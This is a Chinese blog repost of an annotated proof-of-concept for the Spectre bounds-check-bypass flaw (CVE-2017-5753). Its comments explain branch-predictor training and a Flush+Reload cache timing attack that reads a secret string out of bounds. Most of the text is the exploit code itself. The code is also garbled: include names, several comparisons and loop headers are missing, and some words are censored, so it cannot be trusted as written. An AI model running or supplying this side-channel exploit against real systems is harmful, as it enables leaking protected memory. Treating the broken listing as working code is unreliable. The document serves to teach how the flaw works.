博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CVE-2017-5715(分支预取)/CVE-2017-5753(边界检查)
阅读量:7027 次
发布时间:2019-06-28

本文共 4790 字,大约阅读时间需要 15 分钟。

漏洞:

分支预取 cpu 在读内存的这断时间里会预取
边界检查 cpu 在读内存的这断时间里不会边界检查

////CPU 幽灵漏洞POC代码注释   #include "stdafx.h"#define _CRT_SECURE_NO_WARNINGS#include 
#include
#include
#ifdef _MSC_VER // 如果定义了微软编译器版本 包含了用于Flush+Reload 缓存×××的rdtscp和clflush 的适当文件//Flush+Reload×××方法就是利用缓存加载进CPU的话速度比从内存中加载速度快//rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用// __MACHINEI(unsigned __int64 __rdtscp(unsigned int*))// __MACHINEX86X_X64(void _mm_clflush(void const *))#include
// for rdtscp and clflush#pragma optimize("gz", on) // g全局优化 z大小优化 s速度优化 on 开启 分支预测为CPU优化技术的一种,要开启#else // 没有定义微软编译器版本#include
// for rdtscp and clflush#endif#define __TRYTIMES 999//这个是实验的次数,这个实验做的多一些,最后得出数据也会越精确// 数据类型 注意 uint8_t = unsigned char; 也就是每个数组元素都是1字节,这个很重要unsigned int array1_size = 16;uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };uint8_t array2[256 * 512]; //这个array2 无符号的话一个字节最高表示256 ,*512 ,缓存自身是64字节为单位,为了与内存映射,他回把缓存也//以64字节划分,内存加载进缓存的话一次就加载64字节,也就是说 每次你可能只是测试这64字节中其中一个,结果他全部加载进来了,后面的时间测试就没法做了//此处比较难理解,如果没看懂,请看后面分析char *secret = "The Magic Words are Squeamish Ossifrage";//这个是保密信息,只有受害者知道 翻译成ASCII码也就是 84 72 69 32(空格)//Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。uint8_t temp = 0;//全局变量 保证编译器不会再编译时删除victim_function() 如果没有全局变量的话,编译器可能把该函数优化//这个是用来训练CPU分析预测,让分支预测结果一直比array1_size小,第6次超出范围,训练CPU有分支预测功能,且array1_size每次都是从内存重新加载//速度慢,第6次时没判断,array2已经加载进来了void victim_function(size_t x){ if (x
0; --tries) //开始试验 每次我们只计算一个secrt数组内容 { for (i = 0; i<256; i++) { //i7 CPU 是多核CPU,有三级缓存,L1和L2缓存为每个CPU私有,L3为多个核共享 _mm_clflush(&array2[i * 512]); //flush and reload 是应用的L3缓存,clfush指令可以 把缓存行从L1和L2中清理,保证下次把内存中输入加载进L3缓存 //调用readMemoryByte每次只分析 secret[]数组一个内容,下一次要把缓存清理一下 } //CLFLUSH。CLFLUSH(Cache Line Flush,缓存行刷回)清除缓存线 //若该缓存行中的数据被修改过,则将该数据写入主存 training_x = tries % array1_size; // training_x第一次为7 for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); //刷新缓存线路,这个后面用它 与x比较,flush之后每次都是重新加载,x与它判断需要花费时间 for (volatile int z = 0; z<100; z++) {}//确保刷新完成 相当于暂停一下 x = ((j % 6) - 1) & ~0xFFFF; x = (x | (x >> 16)); x = training_x ^ (x&(malicious_x ^ training_x));//前5次x计算出为7,第6次是那个偏移malicious_x //这些行将生成5次小写的x,这将导致victim_function(x)接受分支。 //这五次是用来训练分支预测器假设分支会被取走。 //由于之前的5次训练,一个易受×××的过程将会在第6次迭代中执行if分支。 victim_function(x);//执行陷阱函数 } //这里开始就是侧信道××× flush and reload for (i = 0; i<256; ++i) { mix_i = ((i * 167) + 13) & 255; //我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,并保证每次把(0-255)都生成一遍 //这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。 addr = &array2[mix_i * 512];// 计算缓存线路的地址来进行检查。 //我们测定访问该缓存线中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。 time1 = __rdtscp(&junk); junk = *addr; //读取内存 因为之前这个地址内内容被加载进缓存了,所以在此访问这个地址会很快 time2 = __rdtscp(&junk) - time1; //测出 时间间隔 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x]) //后面这个条件就把array1排除了 results[mix_i]++;//cache arrary2中的 0-255 项命中则 +1 分 } /* 获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里 */ j = k = -1; for (i = 0; i < 256; i++) //i只是用来循环的辅助变量 { if (j < 0 || results[i] >= results[j]) //result统计的是命中的次数,因为 j 命中最高的字符 k 次高项字符 { //j不会小于0且j命中次数要大于i的 k = j; j = i; } else if (k < 0 || results[i] >= results[k]) //k也不会小于0,最小是0 { k = i; } } /* 最高命中项命中次数大于 2 倍加 5 的次高命中项次数 或 仅仅最高命中项命中 2 次 则 退出循环,成功找到命中项 */ if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; } results[0] ^= junk; //使用 junk 防止优化输出 value[0] = (uint8_t)j;//存储命中最高的字符 score[0] = results[j];//存储命中最高项字符的命中次数 value[1] = (uint8_t)k;//存储命中次高的字符 score[1] = results[k];//存储命中次高项字符的命中次数}int main(int argc, const char **argv){ size_t malicious_x = (size_t)(secret - (char*)array1); //malicious_x会被传入到victim_function中所以 array1[ malicious_x] = T //正常情况下,如果malicious_x比array1_size值大,array1[ malicious_x]是没法读取的,但是如果做一个训练让x值前几次 //都比array1_size小,然后放入malicious_x,如此循环几次触发了分支预测,CPU预测出x比array_size小的概率很大,当 malicious_x //再次放入的时候(这个malicious实际上是比array1_size大的),CPU就预测malicious已经超出数组array的大小,只是CPU缓存区在计算读取的数据放到了CPU的缓存中,因为 //因为一场所以并没有真正的执行写入到内存中,这就是漏洞产生的原因 int i, score[2], len = 0x28;//0x28十进制为40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的长度(字符串有效长度为39) uint8_t value[2];//上面字符串数组里面的内容 printf("array1 adress=0x%p\n", array1); printf("secret adress=0x%p\n", secret); for (i = 0; i
= 0)//我们做40次试验,每次只计算出一次secret的内容 { printf("order:%04d", len_copy - len); printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1)); readMemoryByte(malicious_x++, value, score); printf("\tresult:%s ", (score[0] >= 2 * score[1] ? "success" : "fail"));//经测试这里的2是可以写成1的,写成一 我们的512可以改成64. printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]); if (score[1]>0) //次高项 printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]); printf("\n"); } system("pause"); return 0;}

转载于:https://blog.51cto.com/haidragon/2155769

你可能感兴趣的文章
3、C语言中一般类型的指针变量细解
查看>>
zookeeper
查看>>
IEnumerable和IEnumerator 详解 (转)
查看>>
web service接口测试工具选型
查看>>
Stage3d 由浅到深理解AGAL的管线vertex shader和fragment shader || 简易教程 学习心得 AGAL 非常非常好的入门文章...
查看>>
vi编辑器的使用方式
查看>>
JOIN与EXISTS(子查询)的效率研究
查看>>
编码规范
查看>>
使用uliweb自动创建表单
查看>>
linux文本文件按列合并
查看>>
[javascript] ajaxfileupload.js 跨域上传文件
查看>>
android raw与assets区别
查看>>
C语言指针5分钟教程
查看>>
PHP GD库
查看>>
[整] Android Fragment 生命周期图
查看>>
找到个好的讲PYTHON FILE IO的文档,收藏
查看>>
微软BI 之SSAS 系列 - 在SQL Server 2012 中开发 Analysis Services Multidimensional Project
查看>>
[转载]赖勇浩:推荐《Linux 多线程服务器端编程》
查看>>
单链表
查看>>
Visual Studio 2012系统环境变量设置(命令行)
查看>>